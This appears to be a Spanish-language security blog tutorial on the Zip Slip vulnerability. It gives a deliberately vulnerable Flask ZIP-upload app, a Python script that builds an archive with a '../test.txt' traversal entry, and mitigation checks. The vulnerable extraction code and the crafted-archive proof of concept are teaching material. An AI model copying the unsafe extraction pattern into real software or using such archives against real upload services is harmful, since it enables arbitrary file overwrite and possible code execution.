Slipping into zip-slip - C贸mo Recrear y Explotar esta Vulnerabilidad


main_image

驴Qu茅 es una vulnerabilidad Zip Slip?

Zip Slip es una vulnerabilidad cr铆tica de sobreescritura de archivos arbitrarios que puede conducir a la ejecuci贸n remota de c贸digo. Ocurre cuando un archivo comprimido (como un ZIP) contiene nombres de archivo manipulados con secuencias de "traversal" de directorios. Si una aplicaci贸n no valida adecuadamente estos nombres al extraer el archivo, puede sobrescribir archivos en ubicaciones no deseadas del sistema, permitiendo potencialmente la ejecuci贸n de c贸digo malicioso.

驴C贸mo funciona Zip Slip?

Cuando un archivo ZIP es creado, puede contener archivos con nombres que incluyen una ruta relativa en el sistema. Esto permite a un atacante manipular el archivo para que se extraiga en una ubicaci贸n fuera del directorio previsto. Si una aplicaci贸n extrae estos archivos sin realizar las comprobaciones adecuadas, puede sobrescribir archivos sensibles en el sistema.

Por ejemplo, si un atacante logra crear un archivo ZIP que contiene una ruta como ../../etc/passwd (en sistemas Unix), al extraerlo, el archivo passwd podr铆a sobrescribirse, lo que puede tener consecuencias graves, como la alteraci贸n de datos del sistema o la ejecuci贸n de c贸digo malicioso. Este es un ejemplo muy gen茅rico, ya que en la mayor铆a de los sistemas, el usuario que ejecuta el servidor web no tiene grandes privilegios, pero a煤n as铆, se podr铆an escribir otros archivos sensibles o almacenar una WebShell.

驴Por qu茅 se produce?

Esto generalmente ocurre cuando no se validan los nombres de los archivos antes de extraerlos. Adem谩s, ser铆a conveniente que sea el propio sistema el encargado de renombrar los archivos y enjaularlos en un directorio espec铆fico. Esto no solo ser铆a m谩s seguro, si no que permitir铆a una mayor escalibilidad con el tiempo.

Prueba de Concepto

El siguiente script de Python es vulnerable a Zip Slip.

from flask import Flask, request, jsonify, render_template
import zipfile
import os

app = Flask(__name__)

UPLOAD_FOLDER = 'uploads'
EXTRACT_FOLDER = 'extracted_files'

os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(EXTRACT_FOLDER, exist_ok=True)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return jsonify({'error': 'No file part'}), 400
    
    file = request.files['file']
    
    if file.filename == '':
        return jsonify({'error': 'No selected file'}), 400

    zip_path = os.path.join(UPLOAD_FOLDER, file.filename)
    file.save(zip_path)

    try:
        with zipfile.ZipFile(zip_path, 'r') as zip_ref:
            for member in zip_ref.infolist():
                extracted_path = os.path.join(EXTRACT_FOLDER, member.filename)
                print(extracted_path)
                print(f"Extracting {member.filename} to: {extracted_path}")
                zip_ref.extract(member, os.path.dirname(extracted_path))
                
        return jsonify({'message': 'File extracted successfully'}), 200
    except Exception as e:
        return jsonify({'error': str(e)}), 500

if __name__ == '__main__':
    app.run(debug=True)

Dentro templates, se encuentra el index.html que contiene el formulario de carga de archivos.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Upload ZIP File</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f9;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
        }
        .container {
            background-color: #fff;
            border-radius: 8px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
            padding: 20px;
            width: 100%;
            max-width: 500px;
        }
        h1 {
            color: #333;
            text-align: center;
            margin-bottom: 20px;
        }
        label {
            font-size: 16px;
            margin-bottom: 10px;
            display: block;
            color: #555;
        }
        input[type="file"] {
            margin-bottom: 20px;
            padding: 10px;
            width: 100%;
            background-color: #f4f4f4;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            background-color: #4CAF50;
            color: white;
            border: none;
            padding: 10px 20px;
            font-size: 16px;
            border-radius: 4px;
            cursor: pointer;
            width: 100%;
        }
        button:hover {
            background-color: #45a049;
        }
        .error, .message {
            color: #ff4d4d;
            font-size: 14px;
            text-align: center;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>Upload ZIP File</h1>
        <form action="/upload" method="POST" enctype="multipart/form-data">
            <label for="file">Select a ZIP file to upload:</label>
            <input type="file" id="file" name="file" accept=".zip" required>
            <button type="submit">Upload</button>
        </form>
    </div>
</body>
</html>

Una vez ejecutado el servidor, se ver谩 lo siguiente:

Para generar el archivo ZIP, que contiene un Directory Path Traversal, en el nombre, se utilizar谩 el siguiente script en Python:

import zipfile

zip_filename = 'evil.zip'

with zipfile.ZipFile(zip_filename, 'w') as zipf:
    zipf.writestr('../test.txt', 'Test content for the malicious file.')
    
print(f"ZIP file created: {zip_filename}")

Al subirse, en el stout de python, se muestra la ruta de extracci贸n.

En el directorio de trabajo, se almacenar谩 test.txt.

Mitigaci贸n de la Vulnerabilidad

Se podr铆a implementar una condici贸n, para que en caso de que detecte dos puntos, no lo extraiga.

if '..' in extracted_path:
    return jsonify({'error': 'Malicious file detected'}), 400

Sin embargo, esto sigue siendo vulnerable, ya que a煤n as铆, se pueden utilizar rutas absolutas. Entonces, otra soluci贸n m谩s 贸ptima ser铆a concatenar con un path absoluto el directorio de destino con el nombre del archivo a extraer.

extracted_path = os.path.abspath(os.path.join(EXTRACT_FOLDER, member.filename))
base_path = os.path.abspath(EXTRACT_FOLDER)

if not extracted_path.startswith(base_path + os.sep):
    return jsonify({'error': 'Malicious file detected'}), 400

El archivo app.py se puede descargar desde el siguiente repositorio de Github: https://github.com/rubbxalc/zip-slip-python-poc

Slipping into zip-slip - C贸mo Recrear y Explotar esta Vulnerabilidad | Rubbx